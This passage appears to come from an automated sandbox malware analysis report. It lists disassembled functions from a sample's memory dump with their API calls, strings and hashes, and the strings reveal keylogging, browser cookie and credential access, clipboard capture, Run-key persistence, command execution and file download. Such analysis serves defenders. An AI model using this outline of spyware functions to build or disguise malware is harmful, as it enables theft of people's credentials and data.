                                            Strings
                                            • User Data\Default\Network\Cookies, xrefs: 0040C603
                                            • User Data\Profile ?\Network\Cookies, xrefs: 0040C635
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExistsFilePath
                                            • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                                            • API String ID: 1174141254-1980882731
                                            • Opcode ID: ec0199523fc237e56364718817167f2e0688e89b82cc13cff5a9b1f21d5ed8d2
                                            • Instruction ID: e6b9b9a8142aca5ff9e4641a3ff80a721fb4b0471daa7637ae592fad8ebd6223
                                            • Opcode Fuzzy Hash: ec0199523fc237e56364718817167f2e0688e89b82cc13cff5a9b1f21d5ed8d2
                                            • Instruction Fuzzy Hash: B421037190011996CB14F7A2DC96CEEB738EE50319F40053FB502B31D2EF789A46C698
                                            Function 0040C6BB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0040C526: PathFileExistsW.SHLWAPI(00000000), ref: 0040C559
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0040C6EC
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0040C757
                                            Strings
                                            • User Data\Default\Network\Cookies, xrefs: 0040C6D2
                                            • User Data\Profile ?\Network\Cookies, xrefs: 0040C704
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExistsFilePath
                                            • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                                            • API String ID: 1174141254-1980882731
                                            • Opcode ID: 830e565da1f4430f56a3fad2b3585c60fae3d202001501423d8e3de01861922a
                                            • Instruction ID: 83f6a23093d6b0727a30a1d550f3d6f5bdb2bb72864fa742cd8a9fd6423befd9
                                            • Opcode Fuzzy Hash: 830e565da1f4430f56a3fad2b3585c60fae3d202001501423d8e3de01861922a
                                            • Instruction Fuzzy Hash: AE21D37190011AD6CB05F7A2DC96CEEB778EE50719B50013FF502B31D2EF789A46C698
                                            Function 0040A179 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateThread.KERNEL32(00000000,00000000,0040A27D,004750F0,00000000,00000000), ref: 0040A1FE
                                            • CreateThread.KERNEL32(00000000,00000000,0040A267,004750F0,00000000,00000000), ref: 0040A20E
                                            • CreateThread.KERNEL32(00000000,00000000,0040A289,004750F0,00000000,00000000), ref: 0040A21A
                                              • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
                                              • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CreateThread$LocalTimewsprintf
                                            • String ID: Offline Keylogger Started
                                            • API String ID: 465354869-4114347211
                                            • Opcode ID: 739852a997fc0ae6182b294a28b4bb93c4a2cbea1e12e060c92b97aef043fd25
                                            • Instruction ID: bcf1cfbdc14a627f6781ea3a40f7cea6448602225ce5b2be95dc640702f6c2bd
                                            • Opcode Fuzzy Hash: 739852a997fc0ae6182b294a28b4bb93c4a2cbea1e12e060c92b97aef043fd25
                                            • Instruction Fuzzy Hash: DE1194B12003187AD220B7369C86CBB765DDA8139CB00057FF946222D2EA795D54CAFB
                                            Function 0041B4EF Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 59timeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: LocalTime
                                            • String ID: | $%02i:%02i:%02i:%03i $PkGNG
                                            • API String ID: 481472006-3277280411
                                            • Opcode ID: cd8841d7ce7b31923eb0730a989a812e14017909399abac035ca2ef2887a575a
                                            • Instruction ID: b0c371a91d376d28eb23a1cf2c2b6b2589463c7c7bf84255da33bc44f247512a
                                            • Opcode Fuzzy Hash: cd8841d7ce7b31923eb0730a989a812e14017909399abac035ca2ef2887a575a
                                            • Instruction Fuzzy Hash: 361181714082055AC304EB62D8419BFB3E9AB44348F50093FF895A21E1EF3CDA49C65A
                                            Function 00406A63 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadLibraryA.KERNEL32(crypt32), ref: 00406A82
                                            • GetProcAddress.KERNEL32(00000000), ref: 00406A89
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressLibraryLoadProc
                                            • String ID: CryptUnprotectData$crypt32
                                            • API String ID: 2574300362-2380590389
                                            • Opcode ID: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                                            • Instruction ID: d796ed41fc96dc9ef8d801536240fab0e9422483ab40f89d2a564a4d0f07de08
                                            • Opcode Fuzzy Hash: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                                            • Instruction Fuzzy Hash: 6201B535B00216ABCB18DFAD9D449ABBBB8EB49300F14817EE95AE3341D674D9008BA4
                                            Function 0044C253 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • SetFilePointerEx.KERNEL32(00000000,00000000,00000002,FF8BC369,00000000), ref: 0044C28C
                                            • GetLastError.KERNEL32 ref: 0044C296
                                            • __dosmaperr.LIBCMT ref: 0044C29D
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorFileLastPointer__dosmaperr
                                            • String ID: PkGNG
                                            • API String ID: 2336955059-263838557
                                            • Opcode ID: 60eaf30ffa5a6b77e16cdf42a69bcf8f7fa5cf007f91ab5b57ca5c6e56bd7837
                                            • Instruction ID: 03228b3a5a263cac3d3762c0c6cb9bea0ee6cefe7ee70a3785aa569069518732
                                            • Opcode Fuzzy Hash: 60eaf30ffa5a6b77e16cdf42a69bcf8f7fa5cf007f91ab5b57ca5c6e56bd7837
                                            • Instruction Fuzzy Hash: 9E016D32A11104BBDF008FE9CC4089E3719FB86320B28039AF810A7290EAB5DC118B64
                                            Function 0040515C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46synchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                            • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00405159), ref: 00405173
                                            • CloseHandle.KERNEL32(?), ref: 004051CA
                                            • SetEvent.KERNEL32(?), ref: 004051D9
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseEventHandleObjectSingleWait
                                            • String ID: Connection Timeout
                                            • API String ID: 2055531096-499159329
                                            • Opcode ID: 16c0c5432ea764d1c3b3677813c316a5f50629e206d56325c82df1a06a1f960a
                                            • Instruction ID: e4880b57ed2806ada623013920947221b56867654f576af2420d72dde76e11cf
                                            • Opcode Fuzzy Hash: 16c0c5432ea764d1c3b3677813c316a5f50629e206d56325c82df1a06a1f960a
                                            • Instruction Fuzzy Hash: 1201D831A40F40AFE7257B368D9552BBBE0FF01302704097FE68396AE2D6789800CF59
                                            Function 0040E7C5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON
                                            Download Yara Rule
                                            APIs
                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E833
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Exception@8Throw
                                            • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                                            • API String ID: 2005118841-1866435925
                                            • Opcode ID: 8dcc56bc0b3abd67e197b42ddab56c72444c781ea05e0f6efff8352e2a22a648
                                            • Instruction ID: aca7d9cae529c24a85643cb8f0975e7fdd15ab88b82278639a3f13e82648cb6f
                                            • Opcode Fuzzy Hash: 8dcc56bc0b3abd67e197b42ddab56c72444c781ea05e0f6efff8352e2a22a648
                                            • Instruction Fuzzy Hash: 2C01B1315443086AE618F693C843FAA73585B10708F108C2FAA15761C2F67D6961C66B
                                            Function 0041CAE1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • FormatMessageA.KERNEL32(00001100,00000000,00000000,00000400,?,00000000,00000000,00474EF8,00474EF8,PkGNG,00404A40), ref: 0041CB09
                                            • LocalFree.KERNEL32(?,?), ref: 0041CB2F
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FormatFreeLocalMessage
                                            • String ID: @J@$PkGNG
                                            • API String ID: 1427518018-1416487119
                                            • Opcode ID: 582a0a935ffae84e33b405a2c8e80a835bcb557197e1ba62297b84e69e8a9d31
                                            • Instruction ID: 02a9d8e2c753fe243ccbc909122ce1ddd8f8b45a09ed5088e6b723b988b0f700
                                            • Opcode Fuzzy Hash: 582a0a935ffae84e33b405a2c8e80a835bcb557197e1ba62297b84e69e8a9d31
                                            • Instruction Fuzzy Hash: 5EF0A434B0021AAADF08A7A6DD4ADFF7769DB84305B10007FB606B21D1EEB86D05D659
                                            Function 00413814 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegCreateKeyW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,?), ref: 0041381F
                                            • RegSetValueExW.ADVAPI32 ref: 0041384D
                                            • RegCloseKey.ADVAPI32(?), ref: 00413858
                                            Strings
                                            • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 0041381D
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseCreateValue
                                            • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                            • API String ID: 1818849710-1051519024
                                            • Opcode ID: 3da2de30dd2e4c2ff773a1c969aacac889c14d245fa7b83563a43fe4ea506f1b
                                            • Instruction ID: 91b44a8789fefabe47d0aed0b401f4e945a8dec35bb1902c17c37083bf943f80
                                            • Opcode Fuzzy Hash: 3da2de30dd2e4c2ff773a1c969aacac889c14d245fa7b83563a43fe4ea506f1b
                                            • Instruction Fuzzy Hash: 83F0C271440218FBDF10AFA1EC45FEE376CEF00B56F10452AF905A61A1E7359F04DA94
                                            Function 0041376F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,0046611C), ref: 0041377E
                                            • RegSetValueExA.ADVAPI32(0046611C,?,00000000,?,00000000,00000000), ref: 004137A6
                                            • RegCloseKey.ADVAPI32(0046611C), ref: 004137B1
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseCreateValue
                                            • String ID: Control Panel\Desktop
                                            • API String ID: 1818849710-27424756
                                            • Opcode ID: 6030d9855dac89f4cd46f7f8c789974497344dcf9873e73d86c3d4cdefa30cde
                                            • Instruction ID: c04290829ccef693e4e8b5b7d06cdf9a2950efbbd707a4c1379ff92f90edcb59
                                            • Opcode Fuzzy Hash: 6030d9855dac89f4cd46f7f8c789974497344dcf9873e73d86c3d4cdefa30cde
                                            • Instruction Fuzzy Hash: B8F06272400118FBCB009FA1DD45DEA376CEF04B51F108566FD09A61A1D7359E14DB54
                                            Function 004160EE Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON
                                            Download Yara Rule
                                            APIs
                                            • ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 00416130
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExecuteShell
                                            • String ID: /C $cmd.exe$open
                                            • API String ID: 587946157-3896048727
                                            • Opcode ID: 1fb54d341f42364606467e993f20cb3c4ceaa424224daa94047b07daa39982c0
                                            • Instruction ID: 0a18f3537a1213b4b5dca9b82f73c842755a7e35c30cee8a650de64661b344da
                                            • Opcode Fuzzy Hash: 1fb54d341f42364606467e993f20cb3c4ceaa424224daa94047b07daa39982c0
                                            • Instruction Fuzzy Hash: 0DE0C0B0208345AAC705E775CC95CBF73ADAA94749B50483F7142A20E2EF7C9D49C659
                                            Function 0040140A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleHandleA.KERNEL32(User32.dll,GetCursorInfo), ref: 00401414
                                            • GetProcAddress.KERNEL32(00000000), ref: 0040141B
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressHandleModuleProc
                                            • String ID: GetCursorInfo$User32.dll
                                            • API String ID: 1646373207-2714051624
                                            • Opcode ID: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                                            • Instruction ID: 65f79b4a2c2aed896b4012a4b0ac893fb7d0ccba54e760513c8834f3bef68171
                                            • Opcode Fuzzy Hash: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                                            • Instruction Fuzzy Hash: B4B09B70541740E7CB106BF45C4F9153555B514703B105476B44996151D7B44400C61E
                                            Function 004014AF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadLibraryA.KERNEL32(User32.dll), ref: 004014B9
                                            • GetProcAddress.KERNEL32(00000000), ref: 004014C0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressLibraryLoadProc
                                            • String ID: GetLastInputInfo$User32.dll
                                            • API String ID: 2574300362-1519888992
                                            • Opcode ID: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                                            • Instruction ID: ea73ef4d1088e939c140d9431744cb36a9dcab52d5ea7f3e4bb33043e5d41cbe
                                            • Opcode Fuzzy Hash: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                                            • Instruction Fuzzy Hash: 5EB092B45C1700FBCB106FA4AC4E9293AA9A614703B1088ABB845D2162EBB884008F9F
                                            Function 0040C00C Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            • [Cleared browsers logins and cookies.], xrefs: 0040C0E4
                                            • Cleared browsers logins and cookies., xrefs: 0040C0F5
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Sleep
                                            • String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
                                            • API String ID: 3472027048-1236744412
                                            • Opcode ID: 24f20f3b92deb628025467620478f708c177420abe32db4e4f6f8a7850cc6954
                                            • Instruction ID: fac43f66edf0589ccdcbb227709f1a337e776f7542e83b73a027453bfa593f46
                                            • Opcode Fuzzy Hash: 24f20f3b92deb628025467620478f708c177420abe32db4e4f6f8a7850cc6954
                                            • Instruction Fuzzy Hash: 2531C804348380E9D6116BF554567AB7B814E93744F08457FB9C42B3D3D97E4848C7AF
                                            Function 0040A529 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0041C551: GetForegroundWindow.USER32 ref: 0041C561
                                              • Part of subcall function 0041C551: GetWindowTextLengthW.USER32 ref: 0041C56A
                                              • Part of subcall function 0041C551: GetWindowTextW.USER32 ref: 0041C594
                                            • Sleep.KERNEL32(000001F4), ref: 0040A573
                                            • Sleep.KERNEL32(00000064), ref: 0040A5FD
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Window$SleepText$ForegroundLength
                                            • String ID: [ $ ]
                                            • API String ID: 3309952895-93608704
                                            • Opcode ID: 4603c95d7a0278816d05f17b1e103e1b56ebf32c1baad14edcc254fcbbfd146b
                                            • Instruction ID: 97bd403738d1ca0cb59e80c1fc79ee6201ed0cb329172f4776a94889a39aca56
                                            • Opcode Fuzzy Hash: 4603c95d7a0278816d05f17b1e103e1b56ebf32c1baad14edcc254fcbbfd146b
                                            • Instruction Fuzzy Hash: FE119F315043006BC614BB65CC5399F77A8AF50308F40053FF552665E2FF79AA5886DB
                                            Function 00443A33 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 26aae147e3b4032e8d822610677c8b44980169b964e3a1f9465f38b9cd56633c
                                            • Instruction ID: 17f232e73e96fb976a24982deb7d35e81c220cd9520ca4ef7e8dcf180de91df6
                                            • Opcode Fuzzy Hash: 26aae147e3b4032e8d822610677c8b44980169b964e3a1f9465f38b9cd56633c
                                            • Instruction Fuzzy Hash: 1301F2B36497067EFA202E786CC1F67220CDF41BBEB34032BB574712D1DA68CE404568
                                            Function 0041C485 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                                            • GetFileSize.KERNEL32(00000000,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C4B2
                                            • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041C4D7
                                            • CloseHandle.KERNEL32(00000000), ref: 0041C4E5
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CloseCreateHandleReadSize
                                            • String ID:
                                            • API String ID: 3919263394-0
                                            • Opcode ID: c4d28c244904a0c4b31f6914b30dbe9704a3e03414ae878e480ac2c22075bc56
                                            • Instruction ID: d938e931a51b81dfe9e25773ede9364464a286a3a3b97e7b856b7b87d8bf29b3
                                            • Opcode Fuzzy Hash: c4d28c244904a0c4b31f6914b30dbe9704a3e03414ae878e480ac2c22075bc56
                                            • Instruction Fuzzy Hash: 0FF0C2B1245308BFE6101B25ACD4EBB375CEB867A9F00053EF902A22C1CA298C05913A
                                            Function 0041C1DD Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                                            • OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                                            • CloseHandle.KERNEL32(00000000), ref: 0041C233
                                            • CloseHandle.KERNEL32(00000000), ref: 0041C23B
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseHandleOpenProcess
                                            • String ID:
                                            • API String ID: 39102293-0
                                            • Opcode ID: f9441541d1e055ebec971b28555d0febc4d5c2f8e157a993c91f5ce795852cd2
                                            • Instruction ID: 502f13a9e38f74389cb09c542eced9ec4ef47df168bad581006c654e14f0d55b
                                            • Opcode Fuzzy Hash: f9441541d1e055ebec971b28555d0febc4d5c2f8e157a993c91f5ce795852cd2
                                            • Instruction Fuzzy Hash: 53012BB1680315ABD61057D49C89FB7B27CDB84796F0000A7FA04D21D2EF748C818679
                                            Function 00439863 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • ___BuildCatchObject.LIBVCRUNTIME ref: 0043987A
                                              • Part of subcall function 00439EB2: ___AdjustPointer.LIBCMT ref: 00439EFC
                                            • _UnwindNestedFrames.LIBCMT ref: 00439891
                                            • ___FrameUnwindToState.LIBVCRUNTIME ref: 004398A3
                                            • CallCatchBlock.LIBVCRUNTIME ref: 004398C7
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
                                            • String ID:
                                            • API String ID: 2633735394-0
                                            • Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                                            • Instruction ID: dcee73c62e3621a690853eebe59cad03ae51e1002f288686f44977c5109bb855
                                            • Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                                            • Instruction Fuzzy Hash: 18011732000109BBCF12AF55CC01EDA3BBAEF9D754F04511AFD5861221C3BAE861DBA5
                                            Function 004193E3 Relevance: 6.0, APIs: 4, Instructions: 43COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: MetricsSystem
                                            • String ID:
                                            • API String ID: 4116985748-0
                                            • Opcode ID: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                                            • Instruction ID: 9a44d86f369c7068fc2c949f9b02ed5542bf43da40f6b7222f807aea32733f55
                                            • Opcode Fuzzy Hash: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                                            • Instruction Fuzzy Hash: DFF0A471B043155BD744EA759C51A6F6BD5EBD4264F10043FF20887281EE78DC468785
                                            Function 0040B748 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                                            • __Init_thread_footer.LIBCMT ref: 0040B797
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Init_thread_footer__onexit
                                            • String ID: [End of clipboard]$[Text copied to clipboard]
                                            • API String ID: 1881088180-3686566968
                                            • Opcode ID: 60402113f4b18a007ad5d9fa0adee8409e9b11ca3b01e04d5642538178529adf
                                            • Instruction ID: c7bebb0a0a15900a9cc4ffb6e17528162536323bfdf0e6139bd55c50ddf57f74
                                            • Opcode Fuzzy Hash: 60402113f4b18a007ad5d9fa0adee8409e9b11ca3b01e04d5642538178529adf
                                            • Instruction Fuzzy Hash: C0219F32A101054ACB14FB66D8829EDB379AF90318F10453FE505731E2EF386D4A8A9C
                                            Function 0044B731 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81fileCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0044B7DB
                                            • GetLastError.KERNEL32 ref: 0044B804
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorFileLastWrite
                                            • String ID: PkGNG
                                            • API String ID: 442123175-263838557
                                            • Opcode ID: e2af8d231f6539d56f2593d6ace3ed0d4bab48f660b2d85d051dab4aa689f9d2
                                            • Instruction ID: 56933c973e2243a1a9a6e47b5ff38ff3048756f5123006952a384074424e161b
                                            • Opcode Fuzzy Hash: e2af8d231f6539d56f2593d6ace3ed0d4bab48f660b2d85d051dab4aa689f9d2
                                            • Instruction Fuzzy Hash: 12319331A00619DBCB24CF59CD809DAB3F9EF88311F1445AAE509D7361D734ED81CB68
                                            Function 0044B652 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77fileCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0044B6ED
                                            • GetLastError.KERNEL32 ref: 0044B716
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorFileLastWrite
                                            • String ID: PkGNG
                                            • API String ID: 442123175-263838557
                                            • Opcode ID: 51546446b41bf805027a94335c0e64e4fe702750584376849c5da3291fd64da6
                                            • Instruction ID: 12ef57d8ab414bd2a6c5914f5c8b73f84ca543b1ee1fc2f1adbb6bb6aefc8993
                                            • Opcode Fuzzy Hash: 51546446b41bf805027a94335c0e64e4fe702750584376849c5da3291fd64da6
                                            • Instruction Fuzzy Hash: 6C21B435600219DFCB14CF69C980BE9B3F8EB48302F1044AAE94AD7351D734ED81CB64
                                            Function 0041663B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62sleepfilenetworkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • Sleep.KERNEL32 ref: 00416640
                                            • URLDownloadToFileW.URLMON(00000000,00000000,00000002,00000000,00000000), ref: 004166A2
                                            Strings
                                            Memory Dump Source
